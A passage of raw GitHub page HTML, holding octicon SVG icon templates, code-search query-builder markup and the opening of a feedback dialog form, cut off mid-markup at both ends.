1-.574-.73v-.352a.75.75 0 0 1 .416-.672A1.5 1.5 0 0 0 11 5.5.75.75 0 0 1 11 4Zm-5.5-.5a2 2 0 1 0-.001 3.999A2 2 0 0 0 5.5 3.5Z\"></path>\n</svg>\n</template>\n\n<template id=\"project-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-project\">\n    <path d=\"M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z\"></path>\n</svg>\n</template>\n\n<template id=\"pencil-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-pencil\">\n    <path d=\"M11.013 1.427a1.75 1.75 0 0 1 2.474 0l1.086 1.086a1.75 1.75 0 0 1 0 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 0 1-.927-.928l.929-3.25c.081-.286.235-.547.445-.758l8.61-8.61Zm.176 4.823L9.75 4.81l-6.286 6.287a.253.253 0 0 0-.064.108l-.558 1.953 1.953-.558a.253.253 0 0 0 .108-.064Zm1.238-3.763a.25.25 0 0 0-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 0 0 0-.354Z\"></path>\n</svg>\n</template>\n\n<template id=\"copilot-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-copilot\">\n    <path d=\"M7.998 15.035c-4.562 0-7.873-2.914-7.998-3.749V9.338c.085-.628.677-1.686 1.588-2.065.013-.07.024-.143.036-.218.029-.183.06-.384.126-.612-.201-.508-.254-1.084-.254-1.656 0-.87.128-1.769.693-2.484.579-.733 1.494-1.124 2.724-1.261 1.206-.134 2.262.034 2.944.765.05.053.096.108.139.165.044-.057.094-.112.143-.165.682-.731 1.738-.899 2.944-.765 1.23.137 2.145.528 2.724 1.261.566.715.693 1.614.693 2.484 0 .572-.053 1.148-.254 1.656.066.228.098.429.126.612.012.076.024.148.037.218.924.385 1.522 1.471 1.591 2.095v1.872c0 .766-3.351 3.795-8.002 3.795Zm0-1.485c2.28 0 4.584-1.11 5.002-1.433V7.862l-.023-.116c-.49.21-1.075.291-1.727.291-1.146 0-2.059-.327-2.71-.991A3.222 3.222 0 0 1 8 6.303a3.24 3.24 0 0 1-.544.743c-.65.664-1.563.991-2.71.991-.652 0-1.236-.081-1.727-.291l-.023.116v4.255c.419.323 2.722 1.433 5.002 1.433ZM6.762 2.83c-.193-.206-.637-.413-1.682-.297-1.019.113-1.479.404-1.713.7-.247.312-.369.789-.369 1.554 0 .793.129 1.171.308 1.371.162.181.519.379 1.442.379.853 0 1.339-.235 1.638-.54.315-.322.527-.827.617-1.553.117-.935-.037-1.395-.241-1.614Zm4.155-.297c-1.044-.116-1.488.091-1.681.297-.204.219-.359.679-.242 1.614.091.726.303 1.231.618 1.553.299.305.784.54 1.638.54.922 0 1.28-.198 1.442-.379.179-.2.308-.578.308-1.371 0-.765-.123-1.242-.37-1.554-.233-.296-.693-.587-1.713-.7Z\"></path><path d=\"M6.25 9.037a.75.75 0 0 1 .75.75v1.501a.75.75 0 0 1-1.5 0V9.787a.75.75 0 0 1 .75-.75Zm4.25.75v1.501a.75.75 0 0 1-1.5 0V9.787a.75.75 0 0 1 1.5 0Z\"></path>\n</svg>\n</template>\n\n<template id=\"workflow-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-workflow\">\n    <path d=\"M0 1.75C0 .784.784 0 1.75 0h3.5C6.216 0 7 .784 7 1.75v3.5A1.75 1.75 0 0 1 5.25 7H4v4a1 1 0 0 0 1 1h4v-1.25C9 9.784 9.784 9 10.75 9h3.5c.966 0 1.75.784 1.75 1.75v3.5A1.75 1.75 0 0 1 14.25 16h-3.5A1.75 1.75 0 0 1 9 14.25v-.75H5A2.5 2.5 0 0 1 2.5 11V7h-.75A1.75 1.75 0 0 1 0 5.25Zm1.75-.25a.25.25 0 0 0-.25.25v3.5c0 .138.112.25.25.25h3.5a.25.25 0 0 0 .25-.25v-3.5a.25.25 0 0 0-.25-.25Zm9 9a.25.25 0 0 0-.25.25v3.5c0 .138.112.25.25.25h3.5a.25.25 0 0 0 .25-.25v-3.5a.25.25 0 0 0-.25-.25Z\"></path>\n</svg>\n</template>\n\n<template id=\"book-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-book\">\n    <path d=\"M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z\"></path>\n</svg>\n</template>\n\n<template id=\"code-review-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-code-review\">\n    <path d=\"M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v8.5A1.75 1.75 0 0 1 14.25 13H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25v-8.5C0 1.784.784 1 1.75 1ZM1.5 2.75v8.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-8.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Zm5.28 1.72a.75.75 0 0 1 0 1.06L5.31 7l1.47 1.47a.751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018l-2-2a.75.75 0 0 1 0-1.06l2-2a.75.75 0 0 1 1.06 0Zm2.44 0a.75.75 0 0 1 1.06 0l2 2a.75.75 0 0 1 0 1.06l-2 2a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L10.69 7 9.22 5.53a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n</template>\n\n<template id=\"codespaces-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-codespaces\">\n    <path d=\"M0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25Zm2-9.5C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 0 1-1.75 1.75h-8.5A1.75 1.75 0 0 1 2 6.75Zm1.75-.25a.25.25 0 0 0-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-5a.25.25 0 0 0-.25-.25Zm-2 9.5a.25.25 0 0 0-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25v-3a.25.25 0 0 0-.25-.25Z\"></path><path d=\"M7 12.75a.75.75 0 0 1 .75-.75h4.5a.75.75 0 0 1 0 1.5h-4.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z\"></path>\n</svg>\n</template>\n\n<template id=\"comment-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-comment\">\n    <path d=\"M1 2.75C1 1.784 1.784 1 2.75 1h10.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 13.25 12H9.06l-2.573 2.573A1.458 1.458 0 0 1 4 13.543V12H2.75A1.75 1.75 0 0 1 1 10.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h4.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z\"></path>\n</svg>\n</template>\n\n<template id=\"comment-discussion-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-comment-discussion\">\n    <path d=\"M1.75 1h8.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0 1 10.25 10H7.061l-2.574 2.573A1.458 1.458 0 0 1 2 11.543V10h-.25A1.75 1.75 0 0 1 0 8.25v-5.5C0 1.784.784 1 1.75 1ZM1.5 2.75v5.5c0 .138.112.25.25.25h1a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h3.5a.25.25 0 0 0 .25-.25v-5.5a.25.25 0 0 0-.25-.25h-8.5a.25.25 0 0 0-.25.25Zm13 2a.25.25 0 0 0-.25-.25h-.5a.75.75 0 0 1 0-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0 1 14.25 12H14v1.543a1.458 1.458 0 0 1-2.487 1.03L9.22 12.28a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215l2.22 2.22v-2.19a.75.75 0 0 1 .75-.75h1a.25.25 0 0 0 .25-.25Z\"></path>\n</svg>\n</template>\n\n<template id=\"organization-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-organization\">\n    <path d=\"M1.75 16A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 0 0 .25-.25V8.285a.25.25 0 0 0-.111-.208l-1.055-.703a.749.749 0 1 1 .832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0 1 14.25 16h-3.5a.766.766 0 0 1-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 0 1-.75-.75V14h-1v1.25a.75.75 0 0 1-.75.75Zm-.25-1.75c0 .138.112.25.25.25H4v-1.25a.75.75 0 0 1 .75-.75h2.5a.75.75 0 0 1 .75.75v1.25h2.25a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25h-8.5a.25.25 0 0 0-.25.25ZM3.75 6h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1 0-1.5ZM3 3.75A.75.75 0 0 1 3.75 3h.5a.75.75 0 0 1 0 1.5h-.5A.75.75 0 0 1 3 3.75Zm4 3A.75.75 0 0 1 7.75 6h.5a.75.75 0 0 1 0 1.5h-.5A.75.75 0 0 1 7 6.75ZM7.75 3h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1 0-1.5ZM3 9.75A.75.75 0 0 1 3.75 9h.5a.75.75 0 0 1 0 1.5h-.5A.75.75 0 0 1 3 9.75ZM7.75 9h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1 0-1.5Z\"></path>\n</svg>\n</template>\n\n<template id=\"rocket-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-rocket\">\n    <path d=\"M14.064 0h.186C15.216 0 16 .784 16 1.75v.186a8.752 8.752 0 0 1-2.564 6.186l-.458.459c-.314.314-.641.616-.979.904v3.207c0 .608-.315 1.172-.833 1.49l-2.774 1.707a.749.749 0 0 1-1.11-.418l-.954-3.102a1.214 1.214 0 0 1-.145-.125L3.754 9.816a1.218 1.218 0 0 1-.124-.145L.528 8.717a.749.749 0 0 1-.418-1.11l1.71-2.774A1.748 1.748 0 0 1 3.31 4h3.204c.288-.338.59-.665.904-.979l.459-.458A8.749 8.749 0 0 1 14.064 0ZM8.938 3.623h-.002l-.458.458c-.76.76-1.437 1.598-2.02 2.5l-1.5 2.317 2.143 2.143 2.317-1.5c.902-.583 1.74-1.26 2.499-2.02l.459-.458a7.25 7.25 0 0 0 2.123-5.127V1.75a.25.25 0 0 0-.25-.25h-.186a7.249 7.249 0 0 0-5.125 2.123ZM3.56 14.56c-.732.732-2.334 1.045-3.005 1.148a.234.234 0 0 1-.201-.064.234.234 0 0 1-.064-.201c.103-.671.416-2.273 1.15-3.003a1.502 1.502 0 1 1 2.12 2.12Zm6.94-3.935c-.088.06-.177.118-.266.175l-2.35 1.521.548 1.783 1.949-1.2a.25.25 0 0 0 .119-.213ZM3.678 8.116 5.2 5.766c.058-.09.117-.178.176-.266H3.309a.25.25 0 0 0-.213.119l-1.2 1.95ZM12 5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n</svg>\n</template>\n\n<template id=\"shield-check-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-shield-check\">\n    <path d=\"m8.533.133 5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667l5.25-1.68a1.748 1.748 0 0 1 1.066 0Zm-.61 1.429.001.001-5.25 1.68a.251.251 0 0 0-.174.237V7c0 1.36.275 2.666 1.057 3.859.784 1.194 2.121 2.342 4.366 3.298a.196.196 0 0 0 .154 0c2.245-.957 3.582-2.103 4.366-3.297C13.225 9.666 13.5 8.358 13.5 7V3.48a.25.25 0 0 0-.174-.238l-5.25-1.68a.25.25 0 0 0-.153 0ZM11.28 6.28l-3.5 3.5a.75.75 0 0 1-1.06 0l-1.5-1.5a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215l.97.97 2.97-2.97a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z\"></path>\n</svg>\n</template>\n\n<template id=\"heart-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-heart\">\n    <path d=\"m8 14.25.345.666a.75.75 0 0 1-.69 0l-.008-.004-.018-.01a7.152 7.152 0 0 1-.31-.17 22.055 22.055 0 0 1-3.434-2.414C2.045 10.731 0 8.35 0 5.5 0 2.836 2.086 1 4.25 1 5.797 1 7.153 1.802 8 3.02 8.847 1.802 10.203 1 11.75 1 13.914 1 16 2.836 16 5.5c0 2.85-2.045 5.231-3.885 6.818a22.066 22.066 0 0 1-3.744 2.584l-.018.01-.006.003h-.002ZM4.25 2.5c-1.336 0-2.75 1.164-2.75 3 0 2.15 1.58 4.144 3.365 5.682A20.58 20.58 0 0 0 8 13.393a20.58 20.58 0 0 0 3.135-2.211C12.92 9.644 14.5 7.65 14.5 5.5c0-1.836-1.414-3-2.75-3-1.373 0-2.609.986-3.029 2.456a.749.749 0 0 1-1.442 0C6.859 3.486 5.623 2.5 4.25 2.5Z\"></path>\n</svg>\n</template>\n\n<template id=\"server-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-server\">\n    <path d=\"M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v4c0 .372-.116.717-.314 1 .198.283.314.628.314 1v4a1.75 1.75 0 0 1-1.75 1.75H1.75A1.75 1.75 0 0 1 0 12.75v-4c0-.358.109-.707.314-1a1.739 1.739 0 0 1-.314-1v-4C0 1.784.784 1 1.75 1ZM1.5 2.75v4c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Zm.25 5.75a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25ZM7 4.75A.75.75 0 0 1 7.75 4h4.5a.75.75 0 0 1 0 1.5h-4.5A.75.75 0 0 1 7 4.75ZM7.75 10h4.5a.75.75 0 0 1 0 1.5h-4.5a.75.75 0 0 1 0-1.5ZM3 4.75A.75.75 0 0 1 3.75 4h.5a.75.75 0 0 1 0 1.5h-.5A.75.75 0 0 1 3 4.75ZM3.75 10h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1 0-1.5Z\"></path>\n</svg>\n</template>\n\n<template id=\"globe-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-globe\">\n    <path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM5.78 8.75a9.64 9.64 0 0 0 1.363 4.177c.255.426.542.832.857 1.215.245-.296.551-.705.857-1.215A9.64 9.64 0 0 0 10.22 8.75Zm4.44-1.5a9.64 9.64 0 0 0-1.363-4.177c-.307-.51-.612-.919-.857-1.215a9.927 9.927 0 0 0-.857 1.215A9.64 9.64 0 0 0 5.78 7.25Zm-5.944 1.5H1.543a6.507 6.507 0 0 0 4.666 5.5c-.123-.181-.24-.365-.352-.552-.715-1.192-1.437-2.874-1.581-4.948Zm-2.733-1.5h2.733c.144-2.074.866-3.756 1.58-4.948.12-.197.237-.381.353-.552a6.507 6.507 0 0 0-4.666 5.5Zm10.181 1.5c-.144 2.074-.866 3.756-1.58 4.948-.12.197-.237.381-.353.552a6.507 6.507 0 0 0 4.666-5.5Zm2.733-1.5a6.507 6.507 0 0 0-4.666-5.5c.123.181.24.365.353.552.714 1.192 1.436 2.874 1.58 4.948Z\"></path>\n</svg>\n</template>\n\n<template id=\"issue-opened-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-issue-opened\">\n    <path d=\"M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z\"></path><path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z\"></path>\n</svg>\n</template>\n\n<template id=\"device-mobile-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-device-mobile\">\n    <path d=\"M3.75 0h8.5C13.216 0 14 .784 14 1.75v12.5A1.75 1.75 0 0 1 12.25 16h-8.5A1.75 1.75 0 0 1 2 14.25V1.75C2 .784 2.784 0 3.75 0ZM3.5 1.75v12.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25h-8.5a.25.25 0 0 0-.25.25ZM8 13a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n</svg>\n</template>\n\n<template id=\"package-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-package\">\n    <path d=\"m8.878.392 5.25 3.045c.54.314.872.89.872 1.514v6.098a1.75 1.75 0 0 1-.872 1.514l-5.25 3.045a1.75 1.75 0 0 1-1.756 0l-5.25-3.045A1.75 1.75 0 0 1 1 11.049V4.951c0-.624.332-1.201.872-1.514L7.122.392a1.75 1.75 0 0 1 1.756 0ZM7.875 1.69l-4.63 2.685L8 7.133l4.755-2.758-4.63-2.685a.248.248 0 0 0-.25 0ZM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432Zm6.25 8.271 4.625-2.683a.25.25 0 0 0 .125-.216V5.677L8.75 8.432Z\"></path>\n</svg>\n</template>\n\n<template id=\"credit-card-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-credit-card\">\n    <path d=\"M10.75 9a.75.75 0 0 0 0 1.5h1.5a.75.75 0 0 0 0-1.5h-1.5Z\"></path><path d=\"M0 3.75C0 2.784.784 2 1.75 2h12.5c.966 0 1.75.784 1.75 1.75v8.5A1.75 1.75 0 0 1 14.25 14H1.75A1.75 1.75 0 0 1 0 12.25ZM14.5 6.5h-13v5.75c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25Zm0-2.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25V5h13Z\"></path>\n</svg>\n</template>\n\n<template id=\"play-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-play\">\n    <path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z\"></path>\n</svg>\n</template>\n\n<template id=\"gift-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-gift\">\n    <path d=\"M2 2.75A2.75 2.75 0 0 1 4.75 0c.983 0 1.873.42 2.57 1.232.268.318.497.668.68 1.042.183-.375.411-.725.68-1.044C9.376.42 10.266 0 11.25 0a2.75 2.75 0 0 1 2.45 4h.55c.966 0 1.75.784 1.75 1.75v2c0 .698-.409 1.301-1 1.582v4.918A1.75 1.75 0 0 1 13.25 16H2.75A1.75 1.75 0 0 1 1 14.25V9.332C.409 9.05 0 8.448 0 7.75v-2C0 4.784.784 4 1.75 4h.55c-.192-.375-.3-.8-.3-1.25ZM7.25 9.5H2.5v4.75c0 .138.112.25.25.25h4.5Zm1.5 0v5h4.5a.25.25 0 0 0 .25-.25V9.5Zm0-4V8h5.5a.25.25 0 0 0 .25-.25v-2a.25.25 0 0 0-.25-.25Zm-7 0a.25.25 0 0 0-.25.25v2c0 .138.112.25.25.25h5.5V5.5h-5.5Zm3-4a1.25 1.25 0 0 0 0 2.5h2.309c-.233-.818-.542-1.401-.878-1.793-.43-.502-.915-.707-1.431-.707ZM8.941 4h2.309a1.25 1.25 0 0 0 0-2.5c-.516 0-1 .205-1.43.707-.337.392-.646.975-.879 1.793Z\"></path>\n</svg>\n</template>\n\n<template id=\"code-square-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-code-square\">\n    <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25Zm7.47 3.97a.75.75 0 0 1 1.06 0l2 2a.75.75 0 0 1 0 1.06l-2 2a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L10.69 8 9.22 6.53a.75.75 0 0 1 0-1.06ZM6.78 6.53 5.31 8l1.47 1.47a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215l-2-2a.75.75 0 0 1 0-1.06l2-2a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z\"></path>\n</svg>\n</template>\n\n<template id=\"device-desktop-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-device-desktop\">\n    <path d=\"M14.25 1c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 14.25 12h-3.727c.099 1.041.52 1.872 1.292 2.757A.752.752 0 0 1 11.25 16h-6.5a.75.75 0 0 1-.565-1.243c.772-.885 1.192-1.716 1.292-2.757H1.75A1.75 1.75 0 0 1 0 10.25v-7.5C0 1.784.784 1 1.75 1ZM1.75 2.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25ZM9.018 12H6.982a5.72 5.72 0 0 1-.765 2.5h3.566a5.72 5.72 0 0 1-.765-2.5Z\"></path>\n</svg>\n</template>\n\n        <div class=\"position-relative\">\n                <ul\n                  role=\"listbox\"\n                  class=\"ActionListWrap QueryBuilder-ListWrap\"\n                  aria-label=\"Suggestions\"\n                  data-action=\"\n                    combobox-commit:query-builder#comboboxCommit\n                    mousedown:query-builder#resultsMousedown\n                  \"\n                  data-target=\"query-builder.resultsList\"\n                  data-persist-list=false\n                  id=\"query-builder-test-results\"\n                ></ul>\n        </div>\n      <div class=\"FormControl-inlineValidation\" id=\"validation-1b6c4e89-ad73-4d80-9f6d-dd2d1fde088e\" hidden=\"hidden\">\n        <span class=\"FormControl-inlineValidation--visual\">\n          <svg aria-hidden=\"true\" height=\"12\" viewBox=\"0 0 12 12\" version=\"1.1\" width=\"12\" data-view-component=\"true\" class=\"octicon octicon-alert-fill\">\n    <path d=\"M4.855.708c.5-.896 1.79-.896 2.29 0l4.675 8.351a1.312 1.312 0 0 1-1.146 1.954H1.33A1.313 1.313 0 0 1 .183 9.058ZM7 7V3H5v4Zm-1 3a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z\"></path>\n</svg>\n        </span>\n        <span></span>\n</div>    </div>\n    <div data-target=\"query-builder.screenReaderFeedback\" aria-live=\"polite\" aria-atomic=\"true\" class=\"sr-only\"></div>\n</query-builder></form>\n          <div class=\"d-flex flex-row color-fg-muted px-3 text-small color-bg-default search-feedback-prompt\">\n            <a target=\"_blank\" href=\"https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax\" data-view-component=\"true\" class=\"Link color-fg-accent text-normal ml-2\">\n              Search syntax tips\n</a>            <div class=\"d-flex flex-1\"></div>\n          </div>\n        </div>\n</div>\n\n    </div>\n</modal-dialog></div>\n  </div>\n  <div data-action=\"click:qbsearch-input#retract\" class=\"dark-backdrop position-fixed\" hidden data-target=\"qbsearch-input.darkBackdrop\"></div>\n  <div class=\"color-fg-default\">\n    \n<dialog-helper>\n  <dialog data-target=\"qbsearch-input.feedbackDialog\" data-action=\"close:qbsearch-input#handleDialogClose cancel:qbsearch-input#handleDialogClose\" id=\"feedback-dialog\" aria-modal=\"true\" aria-labelledby=\"feedback-dialog-title\" aria-describedby=\"feedback-dialog-description\" data-view-component=\"true\" class=\"Overlay Overlay-whenNarrow Overlay--size-medium Overlay--motion-scaleFade\">\n    <div data-view-component=\"true\" class=\"Overlay-header\">\n  <div class=\"Overlay-headerContentWrap\">\n    <div class=\"Overlay-titleWrap\">\n      <h1 class=\"Overlay-title \" id=\"feedback-dialog-title\">\n        Provide feedback\n      </h1>\n    </div>\n    <div class=\"Overlay-actionWrap\">\n      <button data-close-dialog-id=\"feedback-dialog\" aria-label=\"Close\" type=\"button\" data-view-component=\"true\" class=\"close-button Overlay-closeButton\"><svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x\">\n    <path d=\"M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z\"></path>\n</svg></button>\n    </div>\n  </div>\n</div>\n      <scrollable-region data-labelled-by=\"feedback-dialog-title\">\n        <div data-view-component=\"true\" class=\"Overlay-body\">        <!-- '\"` --><!-- </textarea></xmp> --></option></form><form id=\"code-search-feedback-form\" data-turbo=\"false\" action=\"/search/feedback\" accept-charset=\"UTF-8\" method=\"post\"><input type=\"hidden\" data-csrf=\"true\" name=\"authenticity_token\" value=\"0PUspXDUShU806vca3tPGm7yWSZW8JBaWh92M6pUIiwwRK2lPFUPAX3PcuPVkVm1qX6/RoR3Pt4TKeAO/bXtKw==\" />\n          <p>We read every piece of feedback, and take your input very seriously.</p>\n          <textarea 